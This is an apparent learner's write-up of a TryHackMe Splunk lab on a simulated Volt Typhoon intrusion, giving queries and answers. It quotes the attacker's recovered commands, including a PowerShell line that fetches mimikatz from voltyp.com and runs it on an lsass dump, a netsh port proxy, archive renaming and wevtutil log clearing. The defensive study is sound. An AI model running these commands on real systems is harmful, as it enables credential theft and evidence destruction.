The SOC has detected suspicious activity indicative of an advanced persistent threat (APT) group known as Volt Typhoon, notorious for targeting high-value organizations. Assume the role of a security analyst and investigate the intrusion by retracing the attacker’s steps.
You have been provided with various log types from a two-week time frame during which the suspected attack occurred. Your ability to research the suspected APT and understand how they maneuver through targeted networks will prove to be just as important as your Splunk skills.
Volt Typhoon APT Intrusion via ADSelfService Exploit
Credential Access, Lateral Movement, Defense Evasion, C2
ADSelfService Logs, PowerShell Logs, WMIC Events, Registry Queries
Exploited ADSelfService Plus vulnerability to compromise dean-admin
Used WMIC to run PowerShell and native binaries (xcopy, 7z, ntdsutil)
Deployed web shells (iisstart.aspx, AuditReport.jspx)
Created new admin account voltyp-admin
Used Remove-ItemProperty, renamed archives, and cleared logs with wevtutil
Queried registry and event logs for virtualization and logon patterns
Executed Mimikatz; accessed registry for credential tools
Compressed and renamed data; staged in web server directory
Set up proxy with netsh to 10.2.30.1:8443
Credentials dumped, sensitive files copied, logs deleted, persistence established
Phase | ID | Technique | Description |
---|---|---|---|
Initial Access | T1190 | Exploit Public-Facing Application | ADSelfService Plus exploited |
Execution | T1047 | Windows Management Instrumentation (WMIC) | Used WMIC for command execution and remote process creation |
Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | PowerShell used to execute and obfuscate commands |
Persistence | T1505.003 | Server Software Component: Web Shell | Planted encoded web shell in C:\Windows\Temp| |
Persistence | T1136 | Create Account | Created voltyp-admin admin account |
Defense Evasion | T1070.001 | Clear Windows Event Logs | Used wevtutil cl to clear logs (Application, Security, etc.) |
Defense Evasion | T1027 | Obfuscated Files or Information | Encoded payloads and obfuscated archive rename |
Credential Access | T1003.003 | OS Credential Dumping: NTDS | Used ntdsutil to dump AD database |
Credential Access | T1552.004 | Unsecured Credentials: Private Keys and Configs | Queried registry for VNC, PuTTY, OpenSSH |
Discovery | T1082 | System Information Discovery | Queried drive and network interface info via WMIC |
Discovery | T1012 | Query Registry | Used PowerShell to check virtualization keys in registry |
Discovery | T1033 | System Owner/User Discovery | Used whoami and other identity recon |
Collection | T1560.001 | Archive Collected Data | Used 7z to compress database with password protection |
Exfiltration | T1048.003 | Exfiltration Over Alternative Protocol: Custom Protocol | Exfiltrated data via proxy connection using renamed .gif file |
C2 | T1090.001 | Proxy: Internal Proxy | Used netsh to create local port proxy to remote address |
Reference: [MITRE ATT&CK Navigator] ( https://attack.mitre.org/ )
Volt Typhoon often gains initial access to target networks by exploiting vulnerabilities in enterprise software. In recent incidents, Volt Typhoon has been observed leveraging vulnerabilities in Zoho ManageEngine ADSelfService Plus, a popular self-service password management solution used by organizations.
So we start as suggested to filter for soucerype adss and then for username Dean
We dont have many field in general to play with, but we can make our table more clear with the few available
For this question are interesting the fields action_name and status
So lets check for password change
Splunk Query:
index=* sourcetype=adss username="dean-admin" action_name="Password Change"
Two results, and we can see that we had a completed password changed followed by a failed one, i guess our attacker unlocked the account, changed the password later on Dean-Admin wasn’t able anymore to modify it.
To be sure we can check for nearby event, especially from the same ip address who changed the pw and check if there were failed attempt before, classic of account takeover pattern.
2024-03-24T11:10:22
Let’s look at the event after the password change (set after +5h)
Remove Dean from the query and select all the sourcetype (we need to see wmic and poweshell this time) we can easily see that a new admin account its been created
interesting new field is command
Splunk Query:
index=* sourcetype=*
voltyp-admin
Volt Typhoon is known to exploit Windows Management Instrumentation Command-line (WMIC) for a range of execution techniques. They leverage WMIC for tasks such as gathering information and dumping valuable databases, allowing them to infiltrate and exploit target networks. By using “living off the land” binaries (LOLBins), they blend in with legitimate system activity, making detection more challenging.
tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.
I would include in the query any command server (and ofc get) happened after the initial access, from the user dean-admin
And this is where it starts — the first wmic event sets the tone for what’s coming. From here, we can piece together the attacker’s activity step-by-step:
Copying the AD database dump
Compressing the file with a password
Renaming the archive to bypass detection
Cleaning up evidence
Gathering system network configuration*
Ensuring file sharing is enabled
Setting up a port forwarding rule (C2 staging)
Removing the port forwarding rule (cleanup)
wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename
Well this is an easy one, we already noticed in the screenshot before this event:
2024-03-25T23:47:07 | dean-admin | server-02-main | 192.168.1.153 | wmic /node:webserver-01 process call create \u201ccmd.exe /c 7z a -v100m -p d5ag0nm@5t3r -t7z cisco-up.7z C:\inetpub\wwwroot\temp.dit\u201d | executed | success |
and ye -p is the password >D
d5ag0nm@5t3r
Our target APT frequently employs web shells as a persistence mechanism to maintain a foothold. They disguise these web shells as legitimate files, enabling remote control over the server and allowing them to execute commands undetected.
We noticed before that the attacker was messing in the windows temp dir and we could go directly there but lets pretend we didn’t.
Check on mitre attack what this VOLT Typhoon does, and look in the mitre navigator what it says about persistence – web shell
So lets look for those 2 files (AuditReport.jspx and iisstart.aspx) and see what show up:
Splunk Query:
index=* sourcetype=* iisstart.aspx
and we can see that the attacker is messing in windows\temp folder
If we wuery ntuser.ini we can easily find our code64 to feed to our beloved cyberchef
C:\Windows\Temp\
So we query the sourcetype=powershell and we check for commandline with remove
Lets start with this query
Splunk Query:
index=* sourcetype=powershell | table CommandLine | dedup CommandLine
and we found our command, so now lets filter for Remove-ItemProperty and we can see that was used 3 times to remove records
Remove-ItemProperty
The archive is our cisco-up.7z we noticed before, and we already saw the action of renaming it with ren
wmic /node:webserver-01 process call create “cmd.exe /c ren \webserver-01\c$\inetpub\wwwroot\cisco-up.7z cl64.gif”
cl64.gif
The registry on any Windows system contains the following five root keys:
1. HKEY_CURRENT_USER
2. HKEY_USERS
3. HKEY_LOCAL_MACHINE
4. HKEY_CLASSES_ROOT
5. HKEY_CURRENT_CONFIG
Let’s check for those with a command Get-ItemProperty
And with HKEY_LOCAL_MACHINE we find our answer
(note: we already saw the first time we set a table of the commandline, there was this one Get-ItemProperty -Path “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control”)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
Volt Typhoon often combs through target networks to uncover and extract credentials from a range of programs. Additionally, they are known to access hashed credentials directly from system memory.
This is an easy one, we already have the command to look for (reg query)
OpenSSH, putty, realvnc
If we search mimikatz nothing show up, so i guess its encoded somehow
Looking at the commandline table i created before, there is an -exec command
If i filter for this command i can find my encoded command
Splunk Query:
index=* sourcetype="powershell" CommandLine="-exec"
Now we just give it to cyberchef to decode it from Base64
Invoke-WebRequest -Uri “http://voltyp.com/3/tlz/mimikatz.exe” -OutFile “C:\Temp\db2\mimikatz.exe”; Start-Process -FilePath “C:\Temp\db2\mimikatz.exe” -ArgumentList @(“sekurlsa::minidump lsass.dmp”, “exit”) -NoNewWindow -Wait
Discovery
Volt Typhoon uses enumeration techniques to gather additional information about network architecture, logging mechanisms, successful logins, and software configurations, enhancing their understanding of the target environment for strategic purposes.
Lateral Movement
The APT has been observed moving previously created web shells to different servers as part of their lateral movement strategy. This technique facilitates their ability to traverse through networks and maintain access across multiple systems.
Well just search for wevtutil and out of 12 result we can easily find our 3 event ID he is looking for
4624 – successful logon
4625 -failed logon
4769 – is generated every time the Key Distribution Center (KDC) receives a Kerberos Ticket Granting Service (TGS) ticket request
4624 4625 4769
We saw before while looking for iisstart, the first command was certutil and the second one was copy-item.
AuditReport.jspx
During the collection phase, Volt Typhoon extracts various types of data, such as local web browser information and valuable assets discovered within the target environment.
In the commandline table we have copy-item, so just filter for this command
2022.csv 2023.csv 2024.csv
C2
Volt Typhoon utilizes publicly available tools as well as compromised devices to establish discreet command and control (C2) channels.
Cleanup
To cover their tracks, the APT has been observed deleting event logs and selectively removing other traces and artifacts of their malicious activities.
We can look for netsh and we find immediately our answer
10[.]2[.]30[.]1 8443
So looking at MITRE navigator, another of their defense evasion technique is the clear of event logs.
Wevtutil.exe is often used to execute this technique and we already saw it was used by the attacker to get search for Event ID, let’s look for wevtutil
Splunk Query:
index=* sourcetype="powershell" CommandLine=Wevtutil
and here we have our command line: wevtutil cl Application Security Setup System
Application Security Setup System
Volt Typhoon really went for the full playbook: webshells in Temp, password changes, file renaming, encoded PowerShell, event log wiping — the works. If subtlety were an Olympic sport, they’d at least medal.
They didn’t even bother hiding behind fancy malware. Just LOLBins, reg queries, and a bit of base64 — like it’s 2016 and no one’s watching.
The whole operation was a reminder that attackers don’t need zero-days when default logging is ignored and Windows Temp is treated like a black hole. Good job, Volt. Now please get out.
Cybersecurity learner, log nerd, and TryHackMe badge hoarder. Let’s connect on LinkedIn before I get pulled into another packet capture.
Apparently we have to tell you this: yes, cookies are used. They're not edible, and no, you can't escape them — but you can pick what gets tracked. Yay for EU law!